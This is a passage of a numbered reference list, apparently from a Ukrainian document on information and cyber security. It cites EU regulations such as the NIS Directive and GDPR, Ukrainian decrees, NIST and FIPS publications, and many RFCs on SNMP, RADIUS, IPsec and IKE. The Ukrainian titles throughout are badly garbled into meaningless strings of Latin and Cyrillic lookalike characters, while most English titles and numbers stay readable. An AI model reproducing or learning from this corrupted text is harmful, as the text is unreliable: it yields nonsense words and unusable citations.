kBiTHS 2019 poky «IIpo ArentctBo €Bporneiicbkoro Coro3y 3 MUTaHb MEPEXKEBOI Ta
indopmariinoi  6e3nmeku (ENISA) Tta mnpo ceprudikaiito  kibepOe3nexu
1H(MOpMAIITHO-KOMYHIKAIIHHUX TEXHOIOTII.

S.221. HNupextusa (€C) 2016/1148 €pponeiicskoro [lapiamenty Ta Pagu Big 6
munHs 2016 poky mpo 3aX0/I1 MI0/I0 BUCOKOTO 3araibHOTO PIBHS 0€3MEKH MEPEKEBUX
Ta iHopmariiinux cuctem y Bcbomy Corosi ( OB L 194, 19.7.2016, c. 1).

S.222. Pernament (€C) 2016/679 €sponeticbkoro [Tapaamenty ta Pagu Big 27
kBITHSI 2016 poky mpo 3axucT (i3UIHUX 0Ci0 MpU 0OpOOIl MEePCOHATBLHUX JAaHUX Ta
MpO BUIbHE MEPEMIIICHHS TaKuWX JaHUX Ta Mpo ckacyBaHHsA [upextuBu 95/46/€C
(3aranbhuii pernament npo 3axuct ganux) (OB L 119, 4.5.2016, c. 1).

S.223. Pexomenparris Kowmicii (€C) 2017/1584 Bin 13 Bepecus 2017 poky 110710
CKOOPJAMHOBAHOI'O pearyBaHHsS Ha MaclTaOHl I1HIMACHTH Ta KPU3M B Tally3i
kibepbesnexu ( OB L 239, 19.9.2017, c. 36).

S.224. Pernament (€C) No 765/2008 €sponeiicskoro [lapnamenty Ta Paau Bia
9 mumast 2008 poky, 0 BCTAHOBIIIOE BUMOTH J0 aKPEAUTAIlli Ta HATJIATY 32 PUHKOM,
10 CTOCYIOThCS 30yTY TpoyKiiii, Ta ckacyBanHs Pernmamenty (€EEC) No 339/93 ( OB
L 218, 13.8.2008, c. 30).

S.225. Pernament (€C) No 1025/2012 €spomneticekoro Ilapnamenty ta Paau
Bix 25 xoBTHS 2012 poKy Mpo €BPOIMEUCHKY CTaHIAPTH3AIlII0, III0 BHOCUTh 3MIHU JI0
HupexktuB Pagum 89/686/€EC Ta 93/15/€EC Tta HupexktuB 94/9/€C, 94/25/€C,
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95/16/€C, 97/23/€C, 98/34/€C, 2004/22/€C, 2007/23/€C, 2009/23/€C Tta 128
2009/105/€C €spomneiicbkoro Ilapnamenty ta Pagu ta ckacyBanHsi Pimnenns Paau
87/95/€EC ta Pimennsa €sponeiicrkoro [lapnamenty ta Pagu No 1673/2006/€C ( OB
L 316, 14.11.2012,c. 12).

S.226. Posnopsmpkenns Kabinery MinictpiB Ykpainu Big 2 rpynus 2020
No1566-p 1110710 TUTAHHS IITYYHOTO 1HTEIEKTY.

S.227. Crpareris kibepOe3nekn YKpaiHu.

S.228. TP EOT-95 TumuacoBi pekoMeH1a1lii 3 TEXHIYHOTO 3aXUCTY 1HpOopMaIlii
y 3aco0ax OOYHCIIIOBAIbHOI TEXHIKH, aBTOMATH30BaHMX CHCTEMaX 1 MEpekax Bij
BUTHKY KaHajlaMH TMOOIYHUX €JEKTPOMArHiTHUX BHUIPOMIHIOBAHb 1 HAaBOJOK,
3arBepmkeri HakazoM JICTC3I Bix 09.06.1995 Ne 25;.

S.229. TP T3I [IEMBH-95 TumuacoBi pekOoMeHJAIlil 3 TEXHIYHOTO 3aXHUCTY
iH(dopMalii Bii BUTOKY KaHajaMu MOOIYHMX €JEKTPOMArHiTHHUX BHUIPOMIHIOBAHb 1
HaBOJI0K, 3aTBepkeH1 Haka3oM JICTC3I Bix 09.06.1995 Ne 25.

S.230. VYka3 Ilpesunenta Ykpainu Big 22.05.1998 Ne 505 «IIpo Ilonmoxxenns
PO MOPSIIOK 3A1MCHEHHS KpUIITOTPadiuHOTO 3aXUCTy 1H(popMallii B YKpaiHi».

S.231. Vka3 Ilpesunenta Ykpaiau Big 27.09.1999 No 1229 «Ilpo Ilonoxenns
PO TEXHIYHUM 3aXUCT iHpopMallii B YKpaiHi».

S.232. Va3 [Ipesunenta Ykpainu Big 30.03.2015 No 184/2015 «IIpo pimenHs
Panu HarionaneHo1 0e3nexu 1 06oponu Ykpainu Big 12 6epesns 2015 poky «IIpo cran
MO/I0JaHHSl HEraTUBHUX HACHIJKIB, COPHUYMHEHHUX BTPATOI MaTreplalbHUX HOCIIB
CeKpeTHOI 1H(opMalii Ha THUMYAacOBO OKYIOBaHIM TepUTOpii YKpaiHU, B pailoHI
MIPOBEICHHS aHTUTEPOPHUCTUYHOI onepauii B JloHenpkiil Ta JlyraHCcbKiid 00J1aCTAX»;.

S.233. Vka3 Ilpesumenta VYkpainum No544/2021 «IIpo pimenns Pamu
HallloOHAJIbHOTI Oe3mneku 1 00opoHU VYkpainu Big 22 koBTHS 2021 poky «Ilpo
Konuenuito pepopmyBanHs JlepxkaBHOi CIyOU CHELIaJbHOTO 3B'SI3KY Ta 3aXHUCTY
iHdopmarii Ykpainmy.

S.234. Va3 I[Ipesunenta Ykpainu Nel151/2022 Big 19 6epesns 2022 p. «llomxo
peanizanii €quHOo1 iHPOPMAIIIITHOT MOTITUKKA B YMOBaX BOEHHOTO CTaHY».

S.235. Va3 IIpesunenra Ykpainu Nel51/2022 Big 19 6epesns 2022 p. ta «IIpo
HeWTpaizalito 3arpo3 iHpopmarriiiHiii 6e3mnern 1epxKaBuy.

S.236. ANSI X9.62. Public Key Cryptography for the Financial Services
Industry: the Elliptic Curve Digital Signature Algorithm (ECDSA).

S.237. BS 7799 (ISO/IEC 17799) «KepyBanHs iHPOPMAIIMHOI OE3MEKO¥O.
[Mpaktruni npasmiay (Code of practice for information security management).

S.238. BS 7799-2:2002 «Cucremu KepyBaHHS 1H(popMarliitHOO
oesnekoro — crienudikaiis 3 nocioHukoM 3 BukopuctanHs» (Information security
management systems — Specification with guidance for use).

S.239. GSS-API «Y3aranbHeHHI TPUKIaIHUA TPOrpaMHUiA iHTEpdeiic cirykou
oesmexu» (Generic Security Service Application Program Interface, GSS-API).

S.240. FIPS 140-2 «Bumoru Oe3meku s KpUNTOTPaPIiUHUX MOTYIIBY»
(Security Requirements for Cryptographic Modules).

S.241. FIPS. PUB 180-4. Secure Hash Standard (SHS).

S.242. FIPS. PUB 186. Digital Signature Standard (DSS).

S.243. FIPS. PUB 202 SHA-3 Standard: Permutation-Based Hash and

151



Extendable-Output Functions.

S.244. |IEEE 1363-2000. IEEE Standard Specifications for Public-Key
Cryptography.

S.245. IEEE 1363a-2004 — IEEE Standard Specifications for Public-Key
Cryptography — Amendment 1. Additional Techniques.

S.246. ITU-T X-1051 «Information security management systems.
Requirements for telecommunications.

S.247. NIST SP 800-30. Guide for Conducting Risk Assessments. («ITocioHuk
3 MMPOBEJICHHS OIIIHKU PU3UKIBY).

S.248. NIST SP 800-37. Risk Management Framework for Information
Systems and Organizations: A System Life Cycle Approach for Security and Privacy.
(«DpeiiMBOPK yMpaBIiHHSI pU3UKAMHU [T IHPOPMAIIHHUX CUCTEM Ta OpraHi3aliny).

S.249. NIST SP 800-38. Recommendation for Block Cipher Modes of
Operation: Methods and Techniques.

S.250. NIST SP 800-39. Managing Information Security Risk: Organization,
Mission, and Information System View. ("YmnpaBiiHHs puzukamu iH(oOpMaIiiHoi
oesmeku").

S.251. NIST SP 800-53 Security and Privacy Controls for Information Systems
and Organizations («Mipu 3a0e3nedeHHs Oe3MeKu Ta KOH(IASHIIMHOCTI IS
1H(MOPMAIIHHUX CHUCTEM Ta OpraHi3alliiiy).

S.252. NIST Special Publication 800-57 Part 1Revision 4. Recommendation for
Key Management.

S.253. NIST SP 800-60. Guide for Mapping Types of Information and
Information Systems to Security Categories.

S.254. NIST SP 800-63. Digital Identity Guidelines.

S.255. NIST SP 800-137. Information Security Continuous Monitoring (ISCM)
for Federal Information Systems and Organizations. («be3nepepBHuii MOHITOPHUHT
1H(bOopMaIiHOT 6€3NeKn» ).

S.256. NIST Special Publication 800-90A Recommendation for Random
Number Generation Using Deterministic Random Bit Generators.

S.257. RFC 793 — Transmission Control Protocol.

S.258. RFC 1155 (STD 16)—Crpykrypa Ta imeHTH}IKAI[is Kepyrodoi
iH(popMaIrii B Mepexxax Ha OCHOBI cTeky npoTokoiiiB TCP/IP.

S.259. RFC 1156 (Historic) — ba3a kepyrouoi iHdopMallii i MepeKHOTro
YIOpPAaBIIHHS B Mepexax Ha OCHOBI cTeka nmpotokoniB TCP/IP.

S.260. RFC 1157 (Historic) — IIpocTuii mpOTOKOI MEPEKHOTO YIpPaBIiHHS
(SNMP).

S.261. RFC 1213 (STD 17) — Ba3a xepyrodoi iHpopMariii aias MEepeKHOTO
VIPaBJIiHHS B Mepexax Ha ocHOBI cteka npoTtokoniB TCP/IP: MIB-II.

S.262. RFC 1452 (Informational) —'IcayBanust Bepcii 1 1 2 InrepHer-
cranaapty Network Management Framework (niepernsayto B RFC 1908 ).

S.263. RFC 1510 «Mepexuuii cepsic aBrentudikaiii Kerberos (V5)».

S.264. RFC 1901 (Experimental) — Beenennss B SNMPv2 Ha 0CHOBI CIUIBHOT.

S.265. RFC 1902 (Draft Standard) — CtpykTtypa kepyrouoi iHdopMariii mis
SNMPv2 (nepernsnytuii B RFC 2578 ).
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S.266. RFC 1908 (Standards Track) — IcayBanus Bepciit 1 i 2 Inrepner-
crangapty Network Management Framework.

S.267. RFC 2403 (The Use of HMAC-MD5-96 with ESP and
AH) — BUKOpUCTaHHS ~ ajdropuT™My  xemyBanHa  MD-5  ama  cTBOpeHHS
aBTCHTHU(IKAIIIMHOTO 3aroJIOBKA.

S.268. RFC 2404 (The Use of HMAC-SHA-1-96 with ESP and
AH) — Bukopuctanus ~ aaroput™my  xemryBaHHs ~— SHA-1  jmns cTBOpeHHS
aBTEHTHU(IKALIHHOTO 3ar0JI0BKa.

S.269. RFC 2405 (ESP DES-CBC Cipher Algorithm With Explicit
IV) — Bukopucranns anroputmy mudpysanas DES.

S.270. RFC 2407 (Internet Internet Security Domain of Interpretation for
ISAKMP) — 061acTh 3acTOCYBaHHSI MPOTOKOJTY YIIPABIIHHS KITFOYaMHU.

S.271. RFC 2408 (Internet Security Association and Key Management Protocol
[ISAKMP]) — ynpaBmiHHs KJIF04aMH Ta aBTEHTU(IKATOPaAMU 3aXHIICHHUX 3'€THAHb.

S.272. RFC 2410 (Null Encryption Algorithm and Its Use With
IPsec) — HybOBHIA arOpUTM HIKM(PYBAHHS Ta HOTO BUKOPHCTAHHS.

S.273. RFC 2411 (IP Security Document Roadmap) — mogaibliuii pO3BUTOK
CTaHAapTYy.

S.274. RFC 2412 (The OAKLEY Key Determination Protocol) — nepeBipka
BIJIITOBITHOCTI KJIFOYA.

S.275. RFC 2548 Cnemudiuni arpubytu RADIUS Microsoft Bixg
MOCTayaIbHUKA.

S.276. RFC 2570 (Informational) — Beeaenns y Bepcito 3 [aTepHeT-cTanmapty
Network Management Framework (neperssinyto B RFC 3410).

S.277. RFC 2578 (STD 58) — Ctpykrypa iHdopmarlii, mo ymnpasiise, Bepcist 2
(SMiv2).

S.278. RFC 2607 3’eananHs IpOKC1 Ta BIPOBAHKEHHS MOJIITUKH B POYMIHTY.

S.279. RFC 2618 MIB knienrta aprentudikamii RADIUS.

S.280. RFC 2619 Cepsep aBrentudikaiii RADIUS MIB.

S.281. RFC 2620 RADIUS Accounting Client MIB.

S.282. RFC 2621 RADIUS o6nikoButii cepep MIB.

S.283. RFC 2809 Peamizamis npumycoBoro TyHemoBanHs L2TP depes
RADIUS.

S.284. RFC 2865. Remote Authentication Dial In User Service (RADIUS).

S.285. RFC 2866. RADIUS Accounting.

S.286. RFC 2867 Moaudixkaii o6miky RADIUS anist miaTpuMK TYHEIBHOTO
MPOTOKOIY.

S.287. RFC 2868 Atpubytu RADIUS niis nmiATpUMKH TYHEIBHOTO TPOTOKOJY.

S.288. RFC 2869 Poszmmpennss RADIUS.

S.289. Bumoru no cepBepiB nmoctymy g0 mepexki RFC 2882: posmmupeni
npaktuku RADIUS.

S.290. RFC 3162 RADIUS i IPv6.

S.291. RFC 3410 (Informational) — IlutanHs BBeACHHS Ta 3aCTOCYBaHHS
Iarepuer-cTranaapty Network Management Framework' STD 62.

S.292. RFC 3411 — Apxitektypa ans onucy SNMP Management Framework.
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S.293. RFC 3412 — O6po0Oka Ta HaacuIaHHs nmoBigomieHb aast SNMP.

S.294. RFC 3413 — [Iporpamu SNMP.

S.295. RFC 3414 — Mogenn Oe3nexku Ha ocHOBI kopuctyBauiB (USM) mis
SNMPv3.

S.296. RFC 3415 — View-based Access Control Model (VACM) miis SNMP.

S.297. RFC 3416 — Bepcis 2 npoTokoiasHuX oneparliit ajis SNMP.

S.298. RFC 3417 — IIpus's3ku 10 Tpancnopty s SNMP.

S.299. RFC 3418 — ba3za kepyrouoi inpopmarii (MIB) mist SNMP.

S.300. RFC 3430 (Experimental) — SNMP nax npus's3kamu 10 TPaHCIOPTY B
TCP.

S.301. RFC 3575 TANA, mipkyBanus mo0 RADIUS.

S.302. RFC 3576 Po3mupenns quHamiunoi aBTopu3aiii amis RADIUS.

S.303. RFC 3579 Iiarpumka RADIUS mns EAP.

S.304. RFC 3580 Iuctpykuii 3 Bukopuctanuss RADIUS IEEE 802.1X.

S.305. RFC 3584 (BCP 74) — IcuyBanus Bepciii 1, 2 Ta 3 [aTepHeT-cTaHmapTy
Network Management Framework.

S.306. RFC 3589 Diameter Command Codes for 3GPP.

S.307. RFC 3826 (Proposed)— Anroputm mmdpyBanus AES (Advanced
Encryption Standard) y mozaeni 6e3nexu Ha ocHOB1 KopucTyBadiB y SNMP.

S.308. RFC 4006 Diameter Credit-Control Application.

S.309. RFC 4014 Ilimmapametrp atpubytiB RADIUS nns mapametpa
iH(popmaii aredra perpancinii DHCP.

S.310. RFC 4109 (panime RFC 2409) — ooMmin kmrogamu IKEvI.

S.311. RFC 4301 (panime RFC 2401) (Security Architecture for the Internet
Protocol) — apxiTekTypa 3axucTy aiis npotokoiy IP.

S.312. RFC 4302  (pamime RFC  2402) (IP  Authentication
header) — aBrenTHdikariiauii 3aronoBok IP.

S.313. RFC 4303 (panime RFC 2406) (IP Encapsulating Security Payload
[ESP]) — mmdpyBanHs naHux.

S.314. RFC 4306 (Internet Protocol Key Exchange (IKEv2))—nporokon
oominy kirouamu [KEvV2.

S.315. RFC 4672 MIB knienta nuaamigHoi aBropu3amnii RADIUS.

S.316. RFC 4673 MIB cepBepa nunamiunoi aBropuzaiiii RADIUS.

S.317. RFC 5343 (Proposed) — Kontekcthe EnginelD-BusiBineruss B SNMP.

S.318. RFC 5590 (Draft) — TpancnoptHa miacucreMa st SNMP.

S.319. RFC 5591 (Draft) — TpancnoptHa Moaeib Oe3meku st SNMP.

S.320. RFC 5592 (Proposed) — Tpancnoptra moaenb Secure Shell qiis SNMP.

S.321. RFC 5608 (Proposed) — Bukopucrtanus ciyx0Ou ayreHTH(]IKAIT
BIITAJICHMX KOPUCTYyBauiB M0 KOMyToBaHMX KaHamax 3B'si3ky (RADIUS) vy
TpaHCOPTHUX Mojene y SNMP.

S.322. RFC 5652 «Cryptographic Message Syntax (CMS)» 3 BHKOpUCTaHHS
kpunrorpadiuaux anroputmis 3rimHo 3 RFC 3370 «Cryptographic Message Syntax
(CMS) Algorithms» a6o Texuiuaux cnernudikaiii 10 RFC 5652, 3aTBepmkeHnx
Haka3oM AnmiHicTpamii Jlep:kaBHOI Ciy)OW CIeIialbHOTO 3B’SI3KYy Ta 3aXHUCTY
iH(popmartii Ykpainu.
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S.323. RFC 5903. Elliptic Curve Groups modulo a Prime (ECP Groups) for IKE
and IKEv2.

S.324. RFC 6353 (Draft) — Tpaucnioptaa moaenb TLS ayis SNMP.

S.325. RFC 6733 Diameter Base Protocol.

S.326. RFC 8247 (Algorithm Implementation Requirements and Usage
Guidance the Internet Key Exchange Protocol Version 2 (IKEv2)) —npasuia
peanizalii Ta BAKOpUCTaHHS KpunToanroputMiB B IKEv2.

S.327. X.500 «Ciyx06a nupeKTOpii: OTJsi] KOHIEHITiNA, MOIETIEH 1 CEpBICiBY.

S.328. X.509 «Cnyx0a qupekTopiil: kapkacu cepTu(IKaTiB BIAKPUTUX KIIOUiB
1 aTpuOyTIBY.

S.329. X.800 «ApxiTektypa O0e3neKu JIsl B3aEMOJI11 BIIKPUTHUX CHCTEM.
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